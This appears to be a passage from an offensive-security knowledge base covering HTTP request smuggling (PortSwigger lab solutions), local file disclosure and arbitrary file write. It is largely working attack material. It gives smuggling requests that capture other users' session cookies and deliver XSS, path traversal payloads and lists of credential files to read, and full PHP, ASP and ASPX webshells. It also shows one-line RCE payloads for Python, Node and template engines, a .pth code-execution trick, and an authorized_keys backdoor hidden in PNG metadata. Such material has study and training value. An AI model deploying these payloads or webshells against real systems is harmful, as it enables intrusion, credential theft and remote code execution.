The front-end takes `Transfer-Encoding: chunked`, so it sends the whole body to the back-end. Then the back-end takes `Content-Length: 4` and only reads the first `61\r` bytes. The back-end server responds that the request does not contain the right parameters but this does not matter. Next, the `GPOST` is also sent to the back-end and when anyone now makes another request to the back-end, it will respond with the already done `GPOST` answer.

### TE.TE

{% embed url="<https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header>" %}
Portswigger **lab** for practicing TE.TE type
{% endembed %}

Ways to confuse front-end and back-end:

```http
Transfer-Encoding: xchunked

Transfer-Encoding: CHUNKED

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```

Depending on whether the front-end or back-end uses the `Transfer-Encoding`, it can become either CL.TE or TE.CL

#### Solution to the lab:

First tested TE.CL, and with double `Transfer-Encoding` header got a proxy timeout. This could be because one of the servers is waiting for more bytes, but not getting them.

```http
POST /post/comment HTTP/1.1
Host: 0a2d00fc03652cc4c04d3dae004e00af.web-security-academy.net
Content-Length: 4
Transfer-Encoding: x
Transfer-Encoding: chunked

61
GPOST /post/comment HTTP/1.1
Host: 0a2d00fc03652cc4c04d3dae004e00af.web-security-academy.net

0


```

If the front-end uses `Content-Length: 4` it only sends `61\r` to the back-end. If the back-end then uses `Transfer-Encoding` it would see the `61` and wait for 97 more bytes, which it is not getting from the proxy causing a timeout. This would mean it is a CL.TE type instead. Trying the same with a CL.TE payload confirms this by solving the lab:

```http
POST /post/comment HTTP/1.1
Host: 0a2d00fc03652cc4c04d3dae004e00af.web-security-academy.net
Content-Length: 6
Transfer-Encoding: x
Transfer-Encoding: chunked

0

G
```

## Confirming Request Smuggling

{% embed url="<https://portswigger.net/web-security/request-smuggling/finding>" %}
Portswigger **explaining** how to config this attack
{% endembed %}

### CL.TE

{% embed url="<https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses>" %}
Portswigger **lab** for practicing CL.TE and confirming it seeing a different response
{% endembed %}

Specify the requested location with `GET /404`, which will append cookies, etc. to the request making a GET CSRF

```http
POST /post/comment HTTP/1.1
Host: 0ab8007103cb9890c061ef89005300ad.web-security-academy.net
Content-Length: 28
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X: X
```

### TE.CL

{% embed url="<https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses>" %}
Portswigger **lab** for practicing TE.CL and confirming it seeing a different response
{% endembed %}

Same idea as CL.TE, with `x=` in the body because the `0` will also be prepended to the next request. A lonely 0 in the next request would not be a valid header, so it needs to be the body.

```http
POST /post/comment HTTP/1.1
Host: 0a3d00e204916fbbc028023900de0074.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

9d
GET /404 HTTP/1.1
Host: 0a3d00e204916fbbc028023900de0074.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0


```

## Exploiting

{% embed url="<https://portswigger.net/web-security/request-smuggling/exploiting>" %}
Portswigger **explaining** how to exploit a HTTP Request Smuggling attack in a practical scenario
{% endembed %}

### CL.TE

{% embed url="<https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te>" %}
Portswigger **lab** for performing CSRF using CL.TE
{% endembed %}

We can provide a complete HTTP request to prepend the next request by any victim. We can bypass front-end filters by sending an allowed request in the attack request, and an unauthorized request in the normal request that we smuggle. To make sure the headers from the original request don't interfere we can put it in a body like seen below:

```http
POST /post/comment HTTP/1.1
Host: 0a81003103886215c0150d01000b0097.web-security-academy.net
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
```

### TE.CL

{% embed url="<https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl>" %}
Portswigger **lab** for performing CSRF using TE.CL
{% endembed %}

Same as confirming TE.CL

```http
POST /post/comment HTTP/1.1
Host: 0abb004d04e98969c1810092007c00eb.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

86
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0


```

### Leaking headers

{% embed url="<https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting>" %}
Portswigger **lab** for leaking internal headers with HTTP Request Smuggling
{% endembed %}

Leak data in comment content. Put `comment=` last to make the next request get appended and read as part of the comment. Make sure to use long `Content-Length` but not too long.

```http
POST /post/comment HTTP/1.1
Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.net
Content-Length: 316
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: session=Q9Ra3PMynaM4qv23aTWPITOPBaYvqYB9
Content-Length: 200

csrf=YvyCU73Jt8tqxDbiZ11WaMbofDCpyVI7&postId=6&name=server&email=emal@d.d&website=&comment=leak
```

Now the page shows the `X-mxqMOU-Ip` header

```http
leakGET / HTTP/1.1 X-mxqMOU-Ip: 82.74.120.62 Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.ne
```

Use this header like before to make a request look like it was valid from the front-end

```http
POST /post/comment HTTP/1.1
Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.net
Content-Length: 211
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
X-mxqMOU-Ip: 127.0.0.1

x=
```

### Leaking cookies from other users

{% embed url="<https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests>" %}
Portswigger **lab** for leaking cookies from other users
{% endembed %}

> This type of attack can also be used to leak `Cookie`s from requests from other users, by storing the data is a comment for example. The `Content-Length` needs to be perfect though, to find the entire cookie

```http
POST /post/comment HTTP/1.1
Host: 0a560094034333f3c0a51a2c00dd0027.web-security-academy.net
Content-Length: 315
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

0

POST /post/comment HTTP/1.1
Host: 0a560094034333f3c0a51a2c00dd0027.web-security-academy.net
Content-Length: 806
Cookie: session=IyDgegJn5pvpxeO7vkMC1Iydonlav5jb
Content-Type: application/x-www-form-urlencoded

csrf=4Aj33NnmRAndszvq5fEyTFBl9azQCxef&postId=3&name=name&email=email@d.d&website=&comment=leak
```

```
leakGET / HTTP/1.1 Host: 0a560094034333f3c0a51a2c00dd0027.web-security-academy.net Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-fingerprint=zaSVR3HxS6nNgzvQkfktkk4dIrca0LI7; secret=YR3JdIRPEfOt8RibS8hhfRQphpxLFzeH; session=0ANQ8MLDM5n54ah26iXuhxKNERfTGtr3
```

```http
GET /my-account HTTP/1.1
Host: 0a560094034333f3c0a51a2c00dd0027.web-security-academy.net
Cookie: victim-fingerprint=zaSVR3HxS6nNgzvQkfktkk4dIrca0LI7; secret=YR3JdIRPEfOt8RibS8hhfRQphpxLFzeH; session=0ANQ8MLDM5n54ah26iXuhxKNERfTGtr3
```

### Set headers on victim request to get XSS

{% embed url="<https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss>" %}
Portswigger **lab** for changing the request from a victim to return XSS
{% endembed %}

```http
POST /post/comment HTTP/1.1
Host: 0a2b004204969863c0e7238600e70055.web-security-academy.net
Content-Length: 79
Transfer-Encoding: chunked

0

GET /post?postId=9 HTTP/1.1
User-Agent: "><script>alert(1)</script>
X: X
```


# Local File Disclosure

Gain information by reading files on a web server, also known as Local File Inclusion (LFI)

## Description

Webservers often work with files, either serving content from a file structure, letting you upload files, or some other functionality that reads from a dynamic file path. These functionalities can be interesting if user input is not sanitized, potentially allowing the attacker to read files they aren't supposed to, containing sensitive information like credentials, or helping them plan further attacks by gaining tons of information about the underlying system.

These vulnerabilities happen when user input finds its way into a path that is read, and then used by the server or returned to the client:

{% code title="Vulnerable example" %}

```php
<?php
file_get_contents("/var/www/html/uploads/" . $_GET['file']);
```

{% endcode %}

Because the attacker can directory control the `?file=` URL parameter, they can use **Directory Traversal** sequences to go up into parent directories and read any file. Look at the following example:

<pre class="language-shellscript"><code class="lang-shellscript"><strong># ?file=file.txt
</strong>/var/www/html/uploads/file.txt
<strong># ?file=../etc/passwd
</strong>/var/www/html/uploads/../../../../etc/passwd
-> /var/www/html/../../../etc/passwd
<strong># ?file=../../../../etc/passwd
</strong>/var/www/html/uploads/../../../../etc/passwd
-> /etc/passwd
</code></pre>

By inserting enough `../` sequences, you can traverse to any file on the server. Depending on what is done with the file contents, this can have many different security implications. If it is simply read and returned to you, this is a **Local File Disclosure**, see [#exploits](#exploits "mention") for tricks to exploit these.\
If this happens in a PHP [`require()`](https://www.php.net/manual/en/function.require.php) function with a `?page=` parameter, for example, the content will be executed as PHP code often allowing RCE! See [PHP](/languages/php#local-file-inclusion) for exploits in this case.\
RCE can also happen if you read the right secrets on a server to forge signatures, for example. See [Flask](/web/frameworks/flask#werkzeug-debug-mode-rce-console-pin) for an example of this.

For a large list of input strings that try to bypass various different filters, see the following fuzzing list:

<https://github.com/1N3/IntruderPayloads/blob/master/FuzzLists/traversal.txt>

The above includes tricks like when a developer removes all `../` sequences, but fails to do so recursively, allowing you to insert nested sequences that when removed, form another sequence that wasn't there before:

<pre data-title="Bypass: &#x27;../&#x27; are removed"><code><strong>../../../../etc/passwd
</strong>-> etc/passwd
<strong>..././..././..././..././etc/passwd
</strong>-> ../../../../etc/passwd
</code></pre>

{% hint style="info" %}
**Tip**: For Windows-based targets, `\` backslashes may have interesting effects allowing for filter bypasses. See [Exploitation](/windows/exploitation#slashes-vs) for details
{% endhint %}

### Absolute Paths

One trick that the fuzzing list above doesn't cover is absolute paths. In some cases, your input might just be the start of a path that is looked up relatively, and if the **first character of your path** is a `/`, it will be treated as an **absolute path**. This means a payload like `/etc/passwd` directly might just work.

Another case where this works is in frameworks that treat joining absolute paths as overwriting the previous paths, which happens surprisingly often. In Python, for example, the default `os.path.join()` function will overwrite any earlier paths with your path if it starts with a `/` slash:

<pre class="language-python" data-title="Python absolute paths"><code class="lang-python">>>> import os
<strong>>>> os.path.join("/var/www/html/uploads", "file.txt")
</strong>'/var/www/html/uploads/file.txt'
<strong>>>> os.path.join("/var/www/html/uploads", "/etc/passwd")
</strong>'/etc/passwd'  # uploads/ is overwritten by our path!

>>> from pathlib import Path
<strong>>>> Path("/var/www/html/uploads") / "file.txt"
</strong>PosixPath('/var/www/html/uploads/file.txt')
<strong>>>> Path("/var/www/html/uploads") / "/etc/passwd"
</strong>PosixPath('/etc/passwd')  # same happens in pathlib
</code></pre>

## Exploits

Enumerate the filesystem by accessing targeted paths to learn about the system and find secrets.

### Enumerating Linux

#### Findings paths using `locatedb`

On some Linux systems, the [`locate`](https://en.wikipedia.org/wiki/Locate_\(Unix\)) command allows the user to search for filenames on the system quickly. This is so fast because a database is kept up to date. This database contains an indexed list of all files on the system that it can quickly search through. It is stored at `/var/cache/locate/locatedb` and has a binary file format.

Some clever people thought of using this file to leak all paths on a server, and then disclose those after! This was first seen in [*d3readfile*](https://hackingstudypad.tistory.com/518), and later explored more in [*Free Chat*](https://github.com/elweth-sec/Writeups/blob/master/GCC-2023/Free_Chat.md). These writeups explain that you can download this file, and then use `locate.findutils` on it to list all the files in plain text:

```bash
locate.findutils -d locatedb '*'
```

If you're lucky, and running as `root`, the read-protected `/var/lib/mlocate/mlocate.db` is a similar file that can be enumerated using `mlocate`. The output of these commands can be incredibly useful for extracting more files as there is no longer a need to guess, you can download all files and fully enumerate the system.

#### Basic Enumeration

* `/etc/passwd`: Often used as a proof-of-concept, contains all users on a system and some information about them like their home directory and default shell.
* `/etc/shadow`: Only readable by `root`, containing password hashes for all users. These can be cracked like explained in [Cracking Hashes](/cryptography/hashing/cracking-hashes#cracking-shadow-hashes).
* `/etc/hosts`: Contains custom IP-to-hostname mappings often seen in larger networks with an internal domain. This can be useful for attacking other systems deeper into the network.
* `/home/$USER/...`: From the list of users, you can check out their home directories to potentially find interesting files stored there. These can have any name like `password.txt`, but common directories include `.ssh/id_rsa`, `.ssh/id_dsa`, or `.ssh/id_ecdsa` for SSH private keys.

The `/home` folder often contains an SSH private key file that is only readable by the user but can be used to log into that user remotely. When you are able to read this file, copy it to your attacking machine and use `ssh -i` to authenticate with the private key:

<pre class="language-shellscript" data-title="Attacker"><code class="lang-shellscript"><strong>$ cat id_rsa  # Downloaded private key
</strong>-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAtc7FngGLGz9oReOq2b7k2grTgvQGtP+Yax3it73ZGuxASVKq
...
BAmcHcSorWfiOeasmS2HsoAqsBJr8DqDVAo4274CYxZooDqq+6Rimg==
-----END RSA PRIVATE KEY-----
<strong>$ chmod 600 id_rsa  # Set correct permissions to allow SSH to use it
</strong><strong>$ ssh -i id_rsa root@$IP
</strong># id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>

Inside the home directories of users, you may also find **history files** containing commands issued by the user that could contain plaintext credentials if they were provided as arguments. These can often give a lot of insight into how admins are managing the system. Some examples:

* `~/.bash_history`: History of all bash commands run by the user in plain text.
* `~/.mysql_history`: History of MySQL console commands run interactively by the user.
* `~/.psql_history`: History of PostgreSQL console commands.

#### Generic `/proc` filesystem

The `/proc` directory on Linux is a goldmine of information because it makes heavy use of Linux's saying *"everything is a file"*. Detailed CPU information and memory statistics are stored here, as well as networking information in `/proc/net/tcp`:

{% code title="/proc/net/tcp" %}

```
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode

   0: 0100007F:0539 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 477410 1 0000000081462e8b 100 0 0 10 0
   1: 00000000:1388 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 471732 1 00000000f0fbd3b7 100 0 0 10 0
```

{% endcode %}

This content has a special machine-readable format where everything is encoded as **hex**. After we decode it, we can find all listening and connected TCP streams to find things like internal servers:

{% code title="Decoder" %}

```python
tcp = open("/proc/net/tcp").read()

def decode_address(address):
    ip, port = address.split(':')
    ip = '.'.join([str(int(ip[i:i+2], 16)) for i in range(0, len(ip), 2)][::-1])
    port = int(port, 16)
    return ip, port

for entry in tcp.splitlines()[2:]:
    entry = entry.split()
    local_ip, local_port = decode_address(entry[1])
    remote_ip, remote_port = decode_address(entry[2])
    print(f"{local_ip}:{local_port}\t-> {remote_ip}:{remote_port}")
```

{% endcode %}

The script above tells us that there is an internal service running on `127.0.0.1:1337`, and an external service on `0.0.0.0:5000`, presumably where we got access from.

#### Processes in `/proc/$PID`

Of course, the procfs can also be used for, well, *processes*. These all have unique Process ID (PID) that is their path in the `/proc` directory. There is one special extra path called `self`, which links to the current process (the one reading the file). This is useful if you want to know information about the process your are currently exploiting without knowing all other PIDs.

Luckily, these PIDs are often not that large and a simple brute force starting from 0 and counting upward should find most processes. Interesting things to read here are:

* `/proc/self/environ`: Environment variables delimited by null bytes, may contain secrets
* `/proc/self/cmdline`: CLI arguments to start the process, delimited by null bytes
* `/proc/self/fd/$N`: File Descriptors open for the process, starting at 2 and counting up
* `/proc/self/exe`: Symlink to the process binary
* `/proc/self/maps`: All sections and addresses for bypassing ASLR protection
* `/proc/self/cwd/`: Directory symlink to the directory the `exe` was executed from, useful to read relative paths to the process

Specifically the `/proc/$PID/fd` directory can contain references to interesting files. The numbers here may differ slightly from system to system, but are often **brute forcible**. You'll often find temporary resources it uses that would normally be hard to find the path of.\
For example, in ASP.NET you can send a POST request to any endpoint that accepts it, with a file to upload, even if that endpoint doesn't use uploads. While you are sending over the file it temporarily writes the data under `/tmp` with a random name, which is normally unguessable. But with this trick you can brute force the numbers 170-250 to get a **file under your control on the server with a known path**. This may be useful for various exploits, like Template Injection.

### Web Server

#### Configuration

Web applications often use a *reverse proxy* or simply host files through a web server like [Apache2](https://httpd.apache.org/) or [Nginx](https://www.nginx.com/). These have common configuration file locations at the following paths:

{% code title="Apache2" %}

```
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
```

{% endcode %}

{% code title="Nginx" %}

```
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
```

{% endcode %}

When one of these is found, you can use the base directory to find more configuration files with custom settings. For both web servers, the `sites-available/` and `sites-enabled/` directories contain configuration per site. These can include proxy rules or other configurations, but they have a custom name set by the developer. This may require some guesswork, but there is a `default.conf` that may be used. Otherwise, the domain name or application name with some extensions may work.

#### Source Code

When you can read files in an otherwise black box system, finding source code can be very useful to not only discover more complicated vulnerabilities but also potentially find secrets inside of source code like passwords or random tokens. If you find a cookie signing key, for example, you could forge your own cookies to become any user or even exploit deserialization flaws.

Common locations for these include:

* `/app`: Often for source code like Python applications, containing files like `main.py` or `app.py`, potentially in a subdirectory called `src/`.
* `/var/www`: Common for static files or PHP, often in a `html/` subdirectory and/or the name of the application or domain as a directory containing the files. This often contains things like `index.html` or `index.php`.
* `/opt`: The directory for optional programs often used to install big applications under their name, like `/opt/MyApp`. These vary a lot in which files you will find, so try different ones like `.py` files, `.php`, `.html`, `.aspx` and `web.config` for ASP.NET apps.
* `/proc/self/cwd`: Links to the **current working directory** of this process. If it was started from the source code directory you may find it directly inside here.
* `../`: Relative URLs from where the path used to point can also help reduce guessing, as you may be able to find source code in a parent directory, or an adjacent `src/` directory.

In any of these locations, you should look for configuration files as well, like `.env` which is a common place for environment variables that often contain secrets for the application. `.htpasswd` is another credential file often used by Apache to protect directories with basic authentication. These files will contain a username and password separated by a `:` colon.

{% hint style="info" %}
If a git repository is fully cloned into a web server, you may be able to find a`.git/` folder with all git objects and history. This can be incredibly useful for source code analysis, as well as finding secrets in the history or config files. See [Git](/forensics/git#finding-git-on-websites) for details.
{% endhint %}

The hardest part is finding one initial file in a source code directory to go off of. This can be done in an automated way through fuzzing and using targeted extensions with educated guesses of where things might be stored. When one part of the source code is found, it often references other files by their name or path that you can then find relative to it to slowly map out the entire source code.


# Arbitrary File Write

Being able to create or overwrite files on a server, often causing Remote Code Execution (RCE)

Using techniques similar to [Local File Disclosure](/web/server-side/local-file-disclosure), it may be possible to write files at arbitrary locations on a system. An easy way to confirm if this is the case in a blind scenario is to try to write a file to special locations and observe any errors or responses:

* `/tmp` should always work because every user has all permissions here
* `/root` likely won't work if you are not the `root` user, and may result in "Permission denied"
* `/nonexistant` or any random name may give an error saying the directory wasn't found

Then, depending on the system, you need to decide what file to create or overwrite. Many ways exist to obtain Remote Code Execution but there often isn't one silver bullet that always works, so this requires some experimenting and knowledge of the server's backend.

This page collects some known ways to achieve RCE or other privileged access on the server. When a method does not require completely controlling the full content of the file, it is considered a 'partial' write because random data may come before or after it. These are **even more powerful**.

## Overwriting Code

One simple and often consistent way to execute arbitrary commands is to write your own code in a file that the server executes. This may be direct source code or other files that include code like templates which will be executed.

### Source Code

Writing source code can go in multiple ways. If the directory where you are writing files to, like `/uploads/`, already allows executing files with the correct extension as source code, you can just upload it here and execute it once you visit the location. Most often, however, these directories are protected from code execution and you have to find a place where the original source code of the web application lives, as these will always be executable. See [Local File Disclosure](/web/server-side/local-file-disclosure#source-code) for some common locations.

{% hint style="info" %}
**Note**: Even if you overwrite source code, it might not be directly executed when you visit the page because it is compiled and won't be reloaded until the server is restarted. You may be able to trigger this by crashing the server, or just be patient until this happens naturally.
{% endhint %}

#### PHP (`.php`, `.php7`, `.phtml`, `.phar`, etc.) - partial

{% code title="shell.php" %}

```php
<?php system($_GET["cmd"]) ?>
```

{% endcode %}

Bypass `<?php` filter with alternative prefixes:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?= system($_GET["cmd"]) ?>  // Universal (echo's result automatically)
</strong>
<strong>&#x3C;?system($_GET["cmd"])?>  // Supported on some servers
</strong>
<strong>&#x3C;script language="php">system($_GET["cmd"])&#x3C;/script>  // PHP &#x3C; 7
</strong></code></pre>

<pre class="language-php" data-title="Shortest (14-15 bytes)"><code class="lang-php">// Execute with /shell.php?0=id
<strong>&#x3C;?=`$_GET[0]`;
</strong>
<strong>&#x3C;?=`$_GET[0]`?>ANYTHING
</strong></code></pre>

#### Python (`.py`, `.pyc`)

{% code title="shell.py" %}

```python
__import__("os").system("id > /tmp/pwned")
```

{% endcode %}

You can also create a compiled `.pyc` file which can be executed just like any other source code file:

```bash
python3 -c '__import__("py_compile").compile("shell.py", "shell.pyc")'
```

In case you can't *over*write a file, you may still be able to write next to it. If you are able to restart the application or trigger dynamic imports, you can hijack an `import` statement by naming it the same, such as `json.py` ([example](https://siunam321.github.io/ctf/NahamCon-CTF-2025/Web/Talk-Tuah/#afw-to-rce-via-hijacking-python-importing-module)). The same can be done with .py and .so files as they are also recognized ways of importing a library in Python ([source](https://siunam321.github.io/research/python-dirty-arbitrary-file-write-to-rce-via-writing-shared-object-files-or-overwriting-bytecode-files/)).

#### JavaScript (`.js`, `.mjs`)

{% code title="shell.js" %}

```javascript
require("child_process").execSync("id > /tmp/pwned").toString()
```

{% endcode %}

#### C# ASP.NET (`.asp`, `.aspx`) - partial

{% code title="shell.asp" %}

```aspnet
<!-- Source: https://github.com/tennc/webshell/blob/master/asp/webshell.asp -->
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's local address:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>
```

{% endcode %}

{% code title="shell.aspx" %}

```html
<!-- Source: https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx -->
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">      
Sub RunCmd(Src As Object, E As EventArgs)            
  Dim myProcess As New Process()            
  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
  myProcessStartInfo.UseShellExecute = false            
  myProcessStartInfo.RedirectStandardOutput = true            
  myProcess.StartInfo = myProcessStartInfo            
  myProcessStartInfo.Arguments=xcmd.text            
  myProcess.Start()            

  Dim myStreamReader As StreamReader = myProcess.StandardOutput            
  Dim myString As String = myStreamReader.Readtoend()            
  myProcess.Close()            
  mystring=replace(mystring,"<","&lt;")            
  mystring=replace(mystring,">","&gt;")            
  result.text= vbcrlf & "<pre>" & mystring & "</pre>"    
End Sub
</script>

<html>
<body>    
<form runat="server">        
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        
<p><asp:Label id="result" runat="server"></asp:Label>       
</form>
</body>
</html>
```

{% endcode %}

### Libraries

Not only user-created code can be overwritten, sometimes a program does not reload its source code while running. For those situations, another trick that may work is to overwrite libraries that are loaded. If you have permissions to overwrite a Python `.py` file inside the packages folder, or can overwrite a JAR file for Java applications, it could grant code execution again.

Specific to Python, one trick [shared in this article](https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/) involves a `.pth` file stored in `~/.local/lib/pythonX.Y/site-packages`. These files are automatically parsed when starting a new Python process to load the package paths, but has one interesting behavior that we can exploit:

```python
...
if line.startswith(("import ", "import\t")):
    exec(line)
```

The above shows that if any line starts with `import` , that whole line is executed. By using `;` semicolons we can add arbitrary statements to this single line and execute any code we like:

{% code title="\~/.local/lib/pythonX.Y/site-packages/anything.pth" %}

```python
ANYTHING
import os; os.system("id > /tmp/pwned")
ANYTHING
```

{% endcode %}

The above will execute when the correct Python version is launched even when the "ANYTHING" part is invalid syntax, it only needs to be valid UTF-8.

### Templates (partial)

If source code is not writable or isn't reloaded, another simple method is overwriting templates that can execute code. There are many different templating engines that all use their own syntax and context, some more restricted than others. But most of them have ways to execute arbitrary code or at least read some secrets. Read the full Server-Side Template Injection page to see if your case fits:

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#exploits>" %}
List of exploits for templating languages
{% endembed %}

Here are a few easy examples:

{% code title="shell.html (Jinja2)" %}

```django
{{ cycler.__init__.__globals__.os.popen('id').read() }}
```

{% endcode %}

{% code title="shell.html (Nunjucks)" %}

```javascript
{{ range.constructor("return global.process.mainModule.require('child_process').execSync('id')")() }}
```

{% endcode %}

{% code title="shell.ejs (EJS)" %}

```javascript
<%= process.mainModule.require("child_process").execSync("id").toString() %>
```

{% endcode %}

### Shellcode to memory (requires seek)

If you are not only able to write to a file, but also seek into the file to a specific spot to start writing, you can overwrite memory instructions with [Shellcode](/binary-exploitation/shellcode) to achieve RCE. The `/proc/self/mem` file exposes the process' memory raw allowing you to read and write by seeking to a memory address.\
With ASLR, the offset of memory addresses is random on modern systems. But if you also have a way to read files, the `/proc/self/maps` file contains a nicely formatted list of all sections and their offsets:

{% code title="/proc/$PID/maps" %}

```clike
55964f749000-55964f74b000 r--p 00000000 08:40 439256    /usr/bin/cat
...
55964f753000-55964f754000 rw-p 00009000 08:40 439256    /usr/bin/cat
559670cec000-559670d0d000 rw-p 00000000 00:00 0         [heap]
7f0d2016e000-7f0d20193000 rw-p 00000000 00:00 0
7f0d20193000-7f0d201bb000 r--p 00000000 08:40 442102    /usr/lib/x86_64-linux-gnu/libc.so.6
...
7f0d20396000-7f0d20398000 rw-p 00202000 08:40 442102    /usr/lib/x86_64-linux-gnu/libc.so.6
7f0d203a9000-7f0d203aa000 r--p 00000000 08:40 442082    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
...
7f0d203e1000-7f0d203e3000 rw-p 00038000 08:40 442082    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fff1b1d8000-7fff1b1f9000 rw-p 00000000 00:00 0         [stack]
7fff1b1fa000-7fff1b1fe000 r--p 00000000 00:00 0         [vvar]
7fff1b1fe000-7fff1b200000 r-xp 00000000 00:00 0         [vdso]
```

{% endcode %}

In here, we can find the address where `libc` is loaded. A common attack now is to download the libc of the remote target with a file read vulnerability (or guess it), then overwrite some commonly used function's instructions with our shellcode.

{% embed url="<https://brycec.me/posts/dicectf_2022_writeups#denoblog>" %}
denoblog writeup explaining deno sandbox bypass using /proc/self/mem
{% endembed %}

## Configuration Files

If you cannot directly write or execute source code, the configuration of an application or server can often also have large exploitable areas. You may be able to set shell commands directly in here, or change the configuration in some way to aid another method.

### `.ssh/authorized_keys` (partial)

When SSH is set up on a server, every shell user can have an `.ssh/` directory inside their home directory containing their public and private key, as well as an `authorized_keys` file that contains all the **public keys** allowed to log in as this user, **separated by newlines**.

When you have access to SSH port 22 on a server, this is often a very clean way to execute code as the target user. You can grab your own public key from `~/.ssh/id_rsa.pub` or generate one with `ssh-keygen` if you haven't already, then write its contents to the `/home/$USER/.ssh/authorized_keys` file on the server and log in:

{% code title="\~/.ssh/authorized\_keys" %}

```
ssh-rsa AAAA...wzE=
```

{% endcode %}

```bash
ssh $USER@$IP
```

{% hint style="warning" %}
Default installations of SSH don't allow logging in as `root`. To check this look at the `PermitRootLogin` option in `/etc/ssh/sshd_config`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ grep PermitRootLogin /etc/ssh/sshd_config
</strong>PermitRootLogin yes
</code></pre>

{% endhint %}

SSH only splits this file by `\n` newline characters and parse all sections as possible public keys. That means a partial write where random data is before and/or after our payload is possible to exploit by adding newlines before and after our public key. Create a valid PNG that is also a backdoored `authorized_keys` file, for example:

```bash
exiftool -Comment=$'\nssh-rsa AAAA...wzE=\n' example.png
```

If the image is transformed in some way, metadata comments like these may not survive. We can still put our raw data into a BMP file because it isn't compressed (see [ImageMagick](/web/server-side/imagemagick#writing-image-files-using-write)).

### Apache `.htaccess`

When uploading files, rules are often set on the upload directory to prevent `.php` files from executing, or these extensions are simply blocked by a filter. In such cases, a file named `.htaccess` could configure an Apache server to change the behavior of a directory.

